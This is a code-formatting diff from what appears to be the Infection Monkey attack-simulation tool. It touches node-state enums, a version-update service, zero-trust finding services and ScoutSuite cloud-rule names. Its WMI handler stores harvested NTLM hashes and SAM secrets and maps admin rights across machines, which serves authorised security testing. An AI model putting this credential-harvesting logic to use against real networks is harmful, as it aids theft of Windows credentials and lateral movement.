- MONKEY_LINUX_OLD = 'monkey_linux_old'
+ CLEAN_UNKNOWN = "clean_unknown"
+ CLEAN_LINUX = "clean_linux"
+ CLEAN_WINDOWS = "clean_windows"
+ EXPLOITED_LINUX = "exploited_linux"
+ EXPLOITED_WINDOWS = "exploited_windows"
+ ISLAND = "island"
+ ISLAND_MONKEY_LINUX = "island_monkey_linux"
+ ISLAND_MONKEY_LINUX_RUNNING = "island_monkey_linux_running"
+ ISLAND_MONKEY_LINUX_STARTING = "island_monkey_linux_starting"
+ ISLAND_MONKEY_WINDOWS = "island_monkey_windows"
+ ISLAND_MONKEY_WINDOWS_RUNNING = "island_monkey_windows_running"
+ ISLAND_MONKEY_WINDOWS_STARTING = "island_monkey_windows_starting"
+ MANUAL_LINUX = "manual_linux"
+ MANUAL_LINUX_RUNNING = "manual_linux_running"
+ MANUAL_WINDOWS = "manual_windows"
+ MANUAL_WINDOWS_RUNNING = "manual_windows_running"
+ MONKEY_LINUX = "monkey_linux"
+ MONKEY_LINUX_RUNNING = "monkey_linux_running"
+ MONKEY_WINDOWS = "monkey_windows"
+ MONKEY_WINDOWS_RUNNING = "monkey_windows_running"
+ MONKEY_WINDOWS_STARTING = "monkey_windows_starting"
+ MONKEY_LINUX_STARTING = "monkey_linux_starting"
+ MONKEY_WINDOWS_OLD = "monkey_windows_old"
+ MONKEY_LINUX_OLD = "monkey_linux_old"
@staticmethod
def get_by_keywords(keywords: List) -> NodeStates:
- potential_groups = [i for i in NodeStates if NodeStates._is_state_from_keywords(i, keywords)]
+ potential_groups = [
+ i for i in NodeStates if NodeStates._is_state_from_keywords(i, keywords)
+ ]
if len(potential_groups) > 1:
- raise MultipleGroupsFoundException("Multiple groups contain provided keywords. "
- "Manually build group string to ensure keyword order.")
+ raise MultipleGroupsFoundException(
+ "Multiple groups contain provided keywords. "
+ "Manually build group string to ensure keyword order."
+ )
elif len(potential_groups) == 0:
- raise NoGroupsFoundException("No groups found with provided keywords. "
- "Check for typos and make sure group codes want to find exists.")
+ raise NoGroupsFoundException(
+ "No groups found with provided keywords. "
+ "Check for typos and make sure group codes want to find exists."
+ )
return potential_groups[0]
@staticmethod
diff --git a/monkey/monkey_island/cc/services/utils/node_states_test.py b/monkey/monkey_island/cc/services/utils/node_states_test.py
deleted file mode 100644
index 1204cb881..000000000
--- a/monkey/monkey_island/cc/services/utils/node_states_test.py
+++ /dev/null
@@ -1,13 +0,0 @@
-from unittest import TestCase
-
-from monkey_island.cc.services.utils.node_states import NodeStates, NoGroupsFoundException
-
-
-class TestNodeGroups(TestCase):
-
- def test_get_group_by_keywords(self):
- self.assertEqual(NodeStates.get_by_keywords(['island']), NodeStates.ISLAND)
- self.assertEqual(NodeStates.get_by_keywords(['running', 'linux', 'monkey']), NodeStates.MONKEY_LINUX_RUNNING)
- self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING)
- with self.assertRaises(NoGroupsFoundException):
- NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail'])
diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py
index af47bf93a..c42f2d694 100644
--- a/monkey/monkey_island/cc/services/version_update.py
+++ b/monkey/monkey_island/cc/services/version_update.py
@@ -6,15 +6,13 @@ import monkey_island.cc.environment.environment_singleton as env_singleton
from common.utils.exceptions import VersionServerConnectionError
from common.version import get_version
-__author__ = "itay.mizeretz"
-
logger = logging.getLogger(__name__)
class VersionUpdateService:
- VERSION_SERVER_URL_PREF = 'https://updates.infectionmonkey.com'
- VERSION_SERVER_CHECK_NEW_URL = VERSION_SERVER_URL_PREF + '?deployment=%s&monkey_version=%s'
- VERSION_SERVER_DOWNLOAD_URL = VERSION_SERVER_CHECK_NEW_URL + '&is_download=true'
+ VERSION_SERVER_URL_PREF = "https://updates.infectionmonkey.com"
+ VERSION_SERVER_CHECK_NEW_URL = VERSION_SERVER_URL_PREF + "?deployment=%s&monkey_version=%s"
+ VERSION_SERVER_DOWNLOAD_URL = VERSION_SERVER_CHECK_NEW_URL + "&is_download=true"
newer_version = None
@@ -31,7 +29,7 @@ class VersionUpdateService:
try:
VersionUpdateService.newer_version = VersionUpdateService._check_new_version()
except VersionServerConnectionError:
- logger.info('Failed updating version number')
+ logger.info("Failed updating version number")
return VersionUpdateService.newer_version
@@ -41,7 +39,10 @@ class VersionUpdateService:
Checks if newer monkey version is available
:return: False if not, version in string format ('1.6.2') otherwise
"""
- url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env_singleton.env.get_deployment(), get_version())
+ url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (
+ env_singleton.env.get_deployment(),
+ get_version(),
+ )
try:
reply = requests.get(url, timeout=7)
@@ -49,14 +50,17 @@ class VersionUpdateService:
logger.info("Can't get latest monkey version, probably no connection to the internet.")
raise VersionServerConnectionError
- res = reply.json().get('newer_version', None)
+ res = reply.json().get("newer_version", None)
if res is False:
return res
- [int(x) for x in res.split('.')] # raises value error if version is invalid format
+ [int(x) for x in res.split(".")] # raises value error if version is invalid format
return res
@staticmethod
def get_download_link():
- return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env_singleton.env.get_deployment(), get_version())
+ return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (
+ env_singleton.env.get_deployment(),
+ get_version(),
+ )
diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py
index 284ae95df..d2f3441f9 100644
--- a/monkey/monkey_island/cc/services/wmi_handler.py
+++ b/monkey/monkey_island/cc/services/wmi_handler.py
@@ -1,11 +1,9 @@
from monkey_island.cc.database import mongo
from monkey_island.cc.services.groups_and_users_consts import GROUPTYPE, USERTYPE
-__author__ = 'maor.rayzin'
-
class WMIHandler(object):
- ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
+ ADMINISTRATORS_GROUP_KNOWN_SID = "1-5-32-544"
def __init__(self, monkey_id, wmi_info, user_secrets):
@@ -19,11 +17,11 @@ class WMIHandler(object):
self.services = ""
self.products = ""
else:
- self.users_info = wmi_info['Win32_UserAccount']
- self.groups_info = wmi_info['Win32_Group']
- self.groups_and_users = wmi_info['Win32_GroupUser']
- self.services = wmi_info['Win32_Service']
- self.products = wmi_info['Win32_Product']
+ self.users_info = wmi_info["Win32_UserAccount"]
+ self.groups_info = wmi_info["Win32_Group"]
+ self.groups_and_users = wmi_info["Win32_GroupUser"]
+ self.services = wmi_info["Win32_Service"]
+ self.products = wmi_info["Win32_Product"]
def process_and_handle_wmi_info(self):
@@ -37,62 +35,66 @@ class WMIHandler(object):
self.update_critical_services()
def update_critical_services(self):
- critical_names = ("W3svc", "MSExchangeServiceHost", "dns", 'MSSQL$SQLEXPRES')
- mongo.db.monkey.update({'_id': self.monkey_id}, {'$set': {'critical_services': []}})
+ critical_names = ("W3svc", "MSExchangeServiceHost", "dns", "MSSQL$SQLEXPRES")
+ mongo.db.monkey.update({"_id": self.monkey_id}, {"$set": {"critical_services": []}})
- services_names_list = [str(i['Name'])[2:-1] for i in self.services]
- products_names_list = [str(i['Name'])[2:-2] for i in self.products]
+ services_names_list = [str(i["Name"])[2:-1] for i in self.services]
+ products_names_list = [str(i["Name"])[2:-2] for i in self.products]
for name in critical_names:
if name in services_names_list or name in products_names_list:
- mongo.db.monkey.update({'_id': self.monkey_id}, {'$addToSet': {'critical_services': name}})
+ mongo.db.monkey.update(
+ {"_id": self.monkey_id}, {"$addToSet": {"critical_services": name}}
+ )
def build_entity_document(self, entity_info, monkey_id=None):
general_properties_dict = {
- 'SID': str(entity_info['SID'])[4:-1],
- 'name': str(entity_info['Name'])[2:-1],
- 'machine_id': monkey_id,
- 'member_of': [],
- 'admin_on_machines': []
+ "SID": str(entity_info["SID"])[4:-1],
+ "name": str(entity_info["Name"])[2:-1],
+ "machine_id": monkey_id,
+ "member_of": [],
+ "admin_on_machines": [],
}
if monkey_id:
- general_properties_dict['domain_name'] = None
+ general_properties_dict["domain_name"] = None
else:
- general_properties_dict['domain_name'] = str(entity_info['Domain'])[2:-1]
+ general_properties_dict["domain_name"] = str(entity_info["Domain"])[2:-1]
return general_properties_dict
def add_users_to_collection(self):
for user in self.users_info:
- if not user.get('LocalAccount'):
+ if not user.get("LocalAccount"):
base_entity = self.build_entity_document(user)
else:
base_entity = self.build_entity_document(user, self.monkey_id)
- base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm_hash')
- base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam')
- base_entity['secret_location'] = []
+ base_entity["NTLM_secret"] = self.users_secrets.get(base_entity["name"], {}).get(
+ "ntlm_hash"
+ )
+ base_entity["SAM_secret"] = self.users_secrets.get(base_entity["name"], {}).get("sam")
+ base_entity["secret_location"] = []
- base_entity['type'] = USERTYPE
- self.info_for_mongo[base_entity.get('SID')] = base_entity
+ base_entity["type"] = USERTYPE
+ self.info_for_mongo[base_entity.get("SID")] = base_entity
def add_groups_to_collection(self):
for group in self.groups_info:
- if not group.get('LocalAccount'):
+ if not group.get("LocalAccount"):
base_entity = self.build_entity_document(group)
else:
base_entity = self.build_entity_document(group, self.monkey_id)
- base_entity['entities_list'] = []
- base_entity['type'] = GROUPTYPE
- self.info_for_mongo[base_entity.get('SID')] = base_entity
+ base_entity["entities_list"] = []
+ base_entity["type"] = GROUPTYPE
+ self.info_for_mongo[base_entity.get("SID")] = base_entity
def create_group_user_connection(self):
for group_user_couple in self.groups_and_users:
- group_part = group_user_couple['GroupComponent']
- child_part = group_user_couple['PartComponent']
- group_sid = str(group_part['SID'])[4:-1]
- groups_entities_list = self.info_for_mongo[group_sid]['entities_list']
- child_sid = ''
+ group_part = group_user_couple["GroupComponent"]
+ child_part = group_user_couple["PartComponent"]
+ group_sid = str(group_part["SID"])[4:-1]
+ groups_entities_list = self.info_for_mongo[group_sid]["entities_list"]
+ child_sid = ""
if isinstance(child_part, str):
child_part = str(child_part)
@@ -100,62 +102,80 @@ class WMIHandler(object):
domain_name = None
if "cimv2:Win32_UserAccount" in child_part:
# domain user
- domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0]
- name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-2]
+ domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split(
+ '",Name="'
+ )[0]
+ name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split(
+ '",Name="'
+ )[1][:-2]
if "cimv2:Win32_Group" in child_part:
# domain group
- domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[0]
- name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][:-2]
+ domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split(
+ '",Name="'
+ )[0]
+ name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][
+ :-2
+ ]
for entity in self.info_for_mongo:
- if self.info_for_mongo[entity]['name'] == name and \
- self.info_for_mongo[entity]['domain'] == domain_name:
- child_sid = self.info_for_mongo[entity]['SID']
+ if (
+ self.info_for_mongo[entity]["name"] == name
+ and self.info_for_mongo[entity]["domain"] == domain_name
+ ):
+ child_sid = self.info_for_mongo[entity]["SID"]
else:
- child_sid = str(child_part['SID'])[4:-1]
+ child_sid = str(child_part["SID"])[4:-1]
if child_sid and child_sid not in groups_entities_list:
groups_entities_list.append(child_sid)
if child_sid:
if child_sid in self.info_for_mongo:
- self.info_for_mongo[child_sid]['member_of'].append(group_sid)
+ self.info_for_mongo[child_sid]["member_of"].append(group_sid)
def insert_info_to_mongo(self):
for entity in list(self.info_for_mongo.values()):
- if entity['machine_id']:
+ if entity["machine_id"]:
# Handling for local entities.
- mongo.db.groupsandusers.update({'SID': entity['SID'],
- 'machine_id': entity['machine_id']}, entity, upsert=True)
+ mongo.db.groupsandusers.update(
+ {"SID": entity["SID"], "machine_id": entity["machine_id"]}, entity, upsert=True
+ )
else:
# Handlings for domain entities.
- if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}):
+ if not mongo.db.groupsandusers.find_one({"SID": entity["SID"]}):
mongo.db.groupsandusers.insert_one(entity)
else:
- # if entity is domain entity, add the monkey id of current machine to secrets_location.
+ # if entity is domain entity, add the monkey id of current machine to
+ # secrets_location.
# (found on this machine)
- if entity.get('NTLM_secret'):
- mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': USERTYPE},
- {'$addToSet': {'secret_location': self.monkey_id}})
+ if entity.get("NTLM_secret"):
+ mongo.db.groupsandusers.update_one(
+ {"SID": entity["SID"], "type": USERTYPE},
+ {"$addToSet": {"secret_location": self.monkey_id}},
+ )
def update_admins_retrospective(self):
for profile in self.info_for_mongo:
- groups_from_mongo = mongo.db.groupsandusers.find({
- 'SID': {'$in': self.info_for_mongo[profile]['member_of']}},
- {'admin_on_machines': 1})
+ groups_from_mongo = mongo.db.groupsandusers.find(
+ {"SID": {"$in": self.info_for_mongo[profile]["member_of"]}},
+ {"admin_on_machines": 1},
+ )
for group in groups_from_mongo:
- if group['admin_on_machines']:
- mongo.db.groupsandusers.update_one({'SID': self.info_for_mongo[profile]['SID']},
- {'$addToSet': {'admin_on_machines': {
- '$each': group['admin_on_machines']}}})
+ if group["admin_on_machines"]:
+ mongo.db.groupsandusers.update_one(
+ {"SID": self.info_for_mongo[profile]["SID"]},
+ {"$addToSet": {"admin_on_machines": {"$each": group["admin_on_machines"]}}},
+ )
def add_admin(self, group, machine_id):
- for sid in group['entities_list']:
- mongo.db.groupsandusers.update_one({'SID': sid},
- {'$addToSet': {'admin_on_machines': machine_id}})
- entity_details = mongo.db.groupsandusers.find_one({'SID': sid},
- {'type': USERTYPE, 'entities_list': 1})
- if entity_details.get('type') == GROUPTYPE:
+ for sid in group["entities_list"]:
+ mongo.db.groupsandusers.update_one(
+ {"SID": sid}, {"$addToSet": {"admin_on_machines": machine_id}}
+ )
+ entity_details = mongo.db.groupsandusers.find_one(
+ {"SID": sid}, {"type": USERTYPE, "entities_list": 1}
+ )
+ if entity_details.get("type") == GROUPTYPE:
self.add_admin(entity_details, machine_id)
diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py
index 167934d29..8b4c7d97e 100644
--- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py
+++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py
@@ -5,33 +5,40 @@ from bson import ObjectId
from common.utils.exceptions import FindingWithoutDetailsError
from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails
-
# How many events of a single finding to return to UI.
# 100 will return 50 latest and 50 oldest events from a finding
MAX_EVENT_FETCH_CNT = 100
class MonkeyZTDetailsService:
-
@staticmethod
def fetch_details_for_display(finding_id: ObjectId) -> dict:
- pipeline = [{'$match': {'_id': finding_id}},
- {'$addFields': {'oldest_events': {'$slice': ['$events', int(MAX_EVENT_FETCH_CNT / 2)]},
- 'latest_events': {'$slice': ['$events', int(-1 * MAX_EVENT_FETCH_CNT / 2)]},
- 'event_count': {'$size': '$events'}}},
- {'$unset': ['events']}]
+ pipeline = [
+ {"$match": {"_id": finding_id}},
+ {
+ "$addFields": {
+ "oldest_events": {"$slice": ["$events", int(MAX_EVENT_FETCH_CNT / 2)]},
+ "latest_events": {"$slice": ["$events", int(-1 * MAX_EVENT_FETCH_CNT / 2)]},
+ "event_count": {"$size": "$events"},
+ }
+ },
+ {"$unset": ["events"]},
+ ]
detail_list = list(MonkeyFindingDetails.objects.aggregate(*pipeline))
if detail_list:
details = detail_list[0]
- details['latest_events'] = MonkeyZTDetailsService._remove_redundant_events(details['event_count'],
- details['latest_events'])
+ details["latest_events"] = MonkeyZTDetailsService._remove_redundant_events(
+ details["event_count"], details["latest_events"]
+ )
return details
else:
raise FindingWithoutDetailsError(f"Finding {finding_id} had no details.")
@staticmethod
- def _remove_redundant_events(fetched_event_count: int, latest_events: List[object]) -> List[object]:
- overlap_count = fetched_event_count - int(MAX_EVENT_FETCH_CNT/2)
+ def _remove_redundant_events(
+ fetched_event_count: int, latest_events: List[object]
+ ) -> List[object]:
+ overlap_count = fetched_event_count - int(MAX_EVENT_FETCH_CNT / 2)
# None of 'latest_events' are in 'oldest_events'
if overlap_count >= MAX_EVENT_FETCH_CNT:
return latest_events
@@ -41,4 +48,4 @@ class MonkeyZTDetailsService:
# Some of 'latest_events' are already in 'oldest_events'.
# Return only those that are not
else:
- return latest_events[-1 * overlap_count:]
+ return latest_events[-1 * overlap_count :]
diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py
index d8e439c71..6c8063eca 100644
--- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py
+++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py
@@ -9,18 +9,21 @@ from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFind
class MonkeyZTFindingService:
-
@staticmethod
def create_or_add_to_existing(test: str, status: str, events: List[Event]):
"""
- Create a new finding or add the events to an existing one if it's the same (same meaning same status and same
+ Create a new finding or add the events to an existing one if it's the same (same meaning
+ same status and same
test).
- :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not
+ :raises: Assertion error if this is used when there's more then one finding which fits
+ the query - this is not
when this function should be used.
"""
existing_findings = list(MonkeyFinding.objects(test=test, status=status))
- assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status)
+ assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format(
+ test, status
+ )
if len(existing_findings) == 0:
MonkeyZTFindingService.create_new_finding(test, status, events)
@@ -42,13 +45,18 @@ class MonkeyZTFindingService:
@staticmethod
def get_events_by_finding(finding_id: str) -> List[object]:
finding = MonkeyFinding.objects.get(id=finding_id)
- pipeline = [{'$match': {'_id': ObjectId(finding.details.id)}},
- {'$unwind': '$events'},
- {'$project': {'events': '$events'}},
- {'$replaceRoot': {'newRoot': '$events'}}]
+ pipeline = [
+ {"$match": {"_id": ObjectId(finding.details.id)}},
+ {"$unwind": "$events"},
+ {"$project": {"events": "$events"}},
+ {"$replaceRoot": {"newRoot": "$events"}},
+ ]
return list(MonkeyFindingDetails.objects.aggregate(*pipeline))
@staticmethod
def add_malicious_activity_to_timeline(events):
- MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE,
- status=zero_trust_consts.STATUS_VERIFY, events=events)
+ MonkeyZTFindingService.create_or_add_to_existing(
+ test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE,
+ status=zero_trust_consts.STATUS_VERIFY,
+ events=events,
+ )
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py
index 732852174..08d6600a9 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py
@@ -1,4 +1,4 @@
-RULE_LEVEL_DANGER = 'danger'
-RULE_LEVEL_WARNING = 'warning'
+RULE_LEVEL_DANGER = "danger"
+RULE_LEVEL_WARNING = "warning"
RULE_LEVELS = (RULE_LEVEL_DANGER, RULE_LEVEL_WARNING)
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py
index f8c87083e..c8dbffb46 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py
@@ -1,7 +1,8 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class CloudformationRules(RuleNameEnum):
-
# Service Security
- CLOUDFORMATION_STACK_WITH_ROLE = 'cloudformation-stack-with-role'
+ CLOUDFORMATION_STACK_WITH_ROLE = "cloudformation-stack-with-role"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py
index 886999341..04d1599dd 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py
@@ -1,11 +1,13 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class CloudTrailRules(RuleNameEnum):
# Logging
- CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING = 'cloudtrail-duplicated-global-services-logging'
- CLOUDTRAIL_NO_DATA_LOGGING = 'cloudtrail-no-data-logging'
- CLOUDTRAIL_NO_GLOBAL_SERVICES_LOGGING = 'cloudtrail-no-global-services-logging'
- CLOUDTRAIL_NO_LOG_FILE_VALIDATION = 'cloudtrail-no-log-file-validation'
- CLOUDTRAIL_NO_LOGGING = 'cloudtrail-no-logging'
- CLOUDTRAIL_NOT_CONFIGURED = 'cloudtrail-not-configured'
+ CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING = "cloudtrail-duplicated-global-services-logging"
+ CLOUDTRAIL_NO_DATA_LOGGING = "cloudtrail-no-data-logging"
+ CLOUDTRAIL_NO_GLOBAL_SERVICES_LOGGING = "cloudtrail-no-global-services-logging"
+ CLOUDTRAIL_NO_LOG_FILE_VALIDATION = "cloudtrail-no-log-file-validation"
+ CLOUDTRAIL_NO_LOGGING = "cloudtrail-no-logging"
+ CLOUDTRAIL_NOT_CONFIGURED = "cloudtrail-not-configured"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py
index d22baafc7..954e6fc11 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py
@@ -1,6 +1,8 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class CloudWatchRules(RuleNameEnum):
# Logging
- CLOUDWATCH_ALARM_WITHOUT_ACTIONS = 'cloudwatch-alarm-without-actions'
+ CLOUDWATCH_ALARM_WITHOUT_ACTIONS = "cloudwatch-alarm-without-actions"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py
index 5d86b0b3e..6487bda99 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py
@@ -1,6 +1,8 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class ConfigRules(RuleNameEnum):
# Logging
- CONFIG_RECORDER_NOT_CONFIGURED = 'config-recorder-not-configured'
+ CONFIG_RECORDER_NOT_CONFIGURED = "config-recorder-not-configured"
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py
index dddf18b99..648fbed61 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py
@@ -1,35 +1,37 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import (
+ RuleNameEnum,
+)
class EC2Rules(RuleNameEnum):
# Permissive firewall rules
- SECURITY_GROUP_ALL_PORTS_TO_ALL = 'ec2-security-group-opens-all-ports-to-all'
- SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL = 'ec2-security-group-opens-TCP-port-to-all'
- SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL = 'ec2-security-group-opens-UDP-port-to-all'
- SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL = 'ec2-security-group-opens-RDP-port-to-all'
- SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL = 'ec2-security-group-opens-SSH-port-to-all'
- SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL = 'ec2-security-group-opens-MySQL-port-to-all'
- SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL = 'ec2-security-group-opens-MsSQL-port-to-all'
- SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL = 'ec2-security-group-opens-MongoDB-port-to-all'
- SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL = 'ec2-security-group-opens-Oracle DB-port-to-all'
- SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL = 'ec2-security-group-opens-PostgreSQL-port-to-all'
- SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL = 'ec2-security-group-opens-NFS-port-to-all'
- SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL = 'ec2-security-group-opens-SMTP-port-to-all'
- SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL = 'ec2-security-group-opens-DNS-port-to-all'
- SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF = 'ec2-security-group-opens-all-ports-to-self'
- SECURITY_GROUP_OPENS_ALL_PORTS = 'ec2-security-group-opens-all-ports'
- SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP = 'ec2-security-group-opens-plaintext-port-FTP'
- SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET = 'ec2-security-group-opens-plaintext-port-Telnet'
- SECURITY_GROUP_OPENS_PORT_RANGE = 'ec2-security-group-opens-port-range'
- EC2_SECURITY_GROUP_WHITELISTS_AWS = 'ec2-security-group-whitelists-aws'
+ SECURITY_GROUP_ALL_PORTS_TO_ALL = "ec2-security-group-opens-all-ports-to-all"
+ SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL = "ec2-security-group-opens-TCP-port-to-all"
+ SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL = "ec2-security-group-opens-UDP-port-to-all"
+ SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL = "ec2-security-group-opens-RDP-port-to-all"
+ SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL = "ec2-security-group-opens-SSH-port-to-all"
+ SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL = "ec2-security-group-opens-MySQL-port-to-all"
+ SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL = "ec2-security-group-opens-MsSQL-port-to-all"
+ SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL = "ec2-security-group-opens-MongoDB-port-to-all"
+ SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL = "ec2-security-group-opens-Oracle DB-port-to-all"
+ SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL = "ec2-security-group-opens-PostgreSQL-port-to-all"
+ SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL = "ec2-security-group-opens-NFS-port-to-all"
+ SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL = "ec2-security-group-opens-SMTP-port-to-all"
+ SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL = "ec2-security-group-opens-DNS-port-to-all"
+ SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF = "ec2-security-group-opens-all-ports-to-self"
+ SECURITY_GROUP_OPENS_ALL_PORTS = "ec2-security-group-opens-all-ports"
+ SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP = "ec2-security-group-opens-plaintext-port-FTP"
+ SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET = "ec2-security-group-opens-plaintext-port-Telnet"
+ SECURITY_GROUP_OPENS_PORT_RANGE = "ec2-security-group-opens-port-range"
+ EC2_SECURITY_GROUP_WHITELISTS_AWS = "ec2-security-group-whitelists-aws"
# Encryption
- EBS_SNAPSHOT_NOT_ENCRYPTED = 'ec2-ebs-snapshot-not-encrypted'
- EBS_VOLUME_NOT_ENCRYPTED = 'ec2-ebs-volume-not-encrypted'
- EC2_INSTANCE_WITH_USER_DATA_SECRETS = 'ec2-instance-with-user-data-secrets'
+ EBS_SNAPSHOT_NOT_ENCRYPTED = "ec2-ebs-snapshot-not-encrypted"
+ EBS_VOLUME_NOT_ENCRYPTED = "ec2-ebs-volume-not-encrypted"
